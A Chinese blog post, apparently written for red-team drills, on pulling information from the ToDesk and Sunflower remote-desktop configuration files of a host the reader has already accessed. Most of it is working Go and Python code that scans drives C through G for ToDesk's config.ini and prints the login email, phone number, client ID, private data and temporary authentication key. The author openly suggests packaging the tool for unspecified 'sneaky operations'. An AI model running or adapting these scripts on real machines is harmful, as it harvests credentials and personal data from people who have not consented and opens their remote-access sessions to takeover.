【信息溯源】Todesk | 向日葵信息溯源
2023-06-01 / 0 评论 / 202 阅读 / 14 点赞

【信息溯源】Todesk | 向日葵信息溯源

发光的神
2023-06-01 / 0 评论 / 202 阅读 / 正在检测是否收录...

简介

在实际的攻防演练中,常常会出现追踪攻击来源并反制取证的情景,假设我们已经成功连上了目标主机,目标主机如果安装了Todesk,那么恭喜你可以通过查看Todesk目录下的 config.ini 文件来获取一些登录等相关信息。

Todesk 配置文件

  • downloadtimes 下载Todesk的时间
  • updatePassTime 最近一次使用时间
  • Version Todesk版本号
  • clientid 客户端ID
  • LoginPhone 手机号
  • LoginEmail 邮箱账户

lifmiu6d.png

只要登录过Todesk,它会把一些信息写入到根目录下的,config.ini配置文件中。

lifmkxop.png

这个跟版本没关系的,即使是最新版的Todesk,也会写到配置文件中,

向日葵 配置文件

ligpnll5.png

向日葵,感兴趣的可以去看一下,里面也有一些信息。

Go Todesk 第一版(默认路径)

// main.go
package main

import (
    "bufio"
    "fmt"
    "os"
    "strings"
)

func main() {
    config_file := "C:/Program Files/ToDesk/config.ini"

    file, err := os.Open(config_file)
    if err != nil {
        fmt.Printf("Failed to read config file: %v\n", err)
        return
    }
    defer file.Close()
    
    config := make(map[string]string)
    scanner := bufio.NewScanner(file)
    for scanner.Scan() {
        line := strings.TrimSpace(scanner.Text())
        if len(line) == 0 || strings.HasPrefix(line, ";") || strings.HasPrefix(line, "#") {
            continue
        }
        parts := strings.SplitN(line, "=", 2)
        if len(parts) != 2 {
            continue
        }
        key, value := strings.TrimSpace(parts[0]), strings.TrimSpace(parts[1])
        config[key] = value
    }

    download_times := config["downloadtimes"]
    version := config["Version"]
    client_id := config["clientId"]
    temp_auth_pass_ex := config["tempAuthPassEx"]
    resolution := config["Resolution"]
    update_pass_time := config["updatePassTime"]
    private_data := config["PrivateData"]
    login_phone := config["LoginPhone"]
    login_email := config["LoginEmail"]

    fmt.Println("*********** 第一版 ***********")
    fmt.Printf("电子邮件账户:%s\n", login_email)
    fmt.Printf("手机号:%s\n", login_phone)
    fmt.Printf("下载时间:%s\n", download_times)
    fmt.Printf("最近一次使用ToDesk时间:%s\n", update_pass_time)
    fmt.Printf("当前屏幕尺寸:%s\n", resolution)
    fmt.Printf("Todesk版本号:%s\n", version)
    fmt.Printf("客户端ID:%s\n", client_id)
    fmt.Printf("私密数据:%s\n", private_data)
    fmt.Printf("临时认证密钥:%s\n", temp_auth_pass_ex)
}

你肯会说如果他没安装到默认路径怎么办呢?很简单以下是改进版自动查找路径。

Go Todesk 第二版(自动搜索)

// main.go
package main

import (
    "bufio"
    "fmt"
    "os"
    "path/filepath"
    "strconv"
    "strings"
)

const (
    targetFilename = "config.ini"
)

type ConfigInfo struct {
    DownloadTimes string
    Version       string
    ClientID      string
    TempAuthPass  string
    Resolution    string
    UpdatePassTime string
    PrivateData   string
    LoginPhone    string
    LoginEmail    string
}

func visit(path string, info os.FileInfo, err error) error {
    if !info.IsDir() && info.Name() == targetFilename && strings.Contains(path, "ToDesk") {
        configFile, err := os.Open(path)
        if err != nil {
            fmt.Println(err)
            return nil
        }
        defer configFile.Close()

        configInfo := ConfigInfo{}
        scanner := bufio.NewScanner(configFile)
        for scanner.Scan() {
            line := scanner.Text()
            if strings.HasPrefix(line, ";") || strings.HasPrefix(line, "#") {
                continue
            }
            pair := strings.SplitN(line, "=", 2)
            if len(pair) != 2 {
                continue
            }
            key := strings.TrimSpace(pair[0])
            value := strings.TrimSpace(pair[1])

            switch key {
            case "downloadtimes":
                configInfo.DownloadTimes = value
            case "Version":
                configInfo.Version = value
            case "clientId":
                configInfo.ClientID = value
            case "tempAuthPassEx":
                configInfo.TempAuthPass = value
            case "Resolution":
                configInfo.Resolution = value
            case "updatePassTime":
                configInfo.UpdatePassTime = value
            case "PrivateData":
                configInfo.PrivateData = value
            case "LoginPhone":
                configInfo.LoginPhone = value
            case "LoginEmail":
                configInfo.LoginEmail = value
            default:
            }
        }

        fmt.Println("*********** 第一版 ***********")
        fmt.Printf("电子邮件账户:%s\n", configInfo.LoginEmail)
        fmt.Printf("手机号:%s\n", configInfo.LoginPhone)
        fmt.Printf("下载时间:%s\n", configInfo.DownloadTimes)
        fmt.Printf("最近一次使用ToDesk时间:%s\n", configInfo.UpdatePassTime)
        fmt.Printf("当前屏幕尺寸:%s\n", configInfo.Resolution)
        fmt.Printf("Todesk版本号:%s\n", configInfo.Version)
        fmt.Printf("客户端ID:%s\n", configInfo.ClientID)
        fmt.Printf("私密数据:%s\n", configInfo.PrivateData)
        fmt.Printf("临时认证密钥:%s\n", configInfo.TempAuthPass)
        os.Exit(0)
    }

    return nil
}

func isNumeric(s string) bool {
    _, err := strconv.ParseFloat(s, 64)
    return err == nil
}

func main() {
    driveLetters := []string{"C", "D", "E", "F", "G"}
    for _, driveLetter := range driveLetters {
        drivePath := fmt.Sprintf("%s:\\", driveLetter)
        err := filepath.Walk(drivePath, visit)
        if err != nil {
            fmt.Printf("访问 %s 目录时出错:%v\n", drivePath, err)
        }
    }
}

好啦,打包一下就能做一些骚操作了。(小声:自己发挥吧)

Python 版本(自动搜索)

import os
import configparser

target_filename = 'config.ini'
target_strings = ['ToDesk']

drive_letters = ['C', 'D', 'E', 'F', 'G']

for drive_letter in drive_letters:
    drive_path = f"{drive_letter}:\\"
    for dirpath, dirnames, filenames in os.walk(drive_path):
        if target_filename in filenames and all(s in dirpath for s in target_strings):
            config_path = os.path.join(dirpath, target_filename)
          
            config = configparser.ConfigParser()
            config.read(config_path)
            download_times = config.get('ConfigInfo', 'downloadtimes')
            version = config.get('ConfigInfo', 'Version')
            client_id = config.get('ConfigInfo', 'clientId')
            temp_auth_pass = config.get('ConfigInfo', 'tempAuthPassEx')
            resolution = config.get('ConfigInfo', 'Resolution')
            update_pass_time = config.get('ConfigInfo', 'updatePassTime')
            private_data = config.get('ConfigInfo', 'PrivateData')
            login_phone = config.get('ConfigInfo', 'LoginPhone')
            login_email = config.get('ConfigInfo', 'LoginEmail')

            print(f"电子邮件账户:{login_email}")
            print(f"手机号:{login_phone}")
            print(f"下载时间:{download_times}")
            print(f"最近一次使用ToDesk时间:{update_pass_time}")
            print(f"当前屏幕尺寸:{resolution}")
            print(f"Todesk版本号:{version}")
            print(f"客户端ID:{client_id}")
            print(f"私密数据:{private_data}")
            print(f"临时认证密钥:{temp_auth_pass}")
            quit()

运行效果

lifn2nfo.png

14

评论 (0)

取消
0:00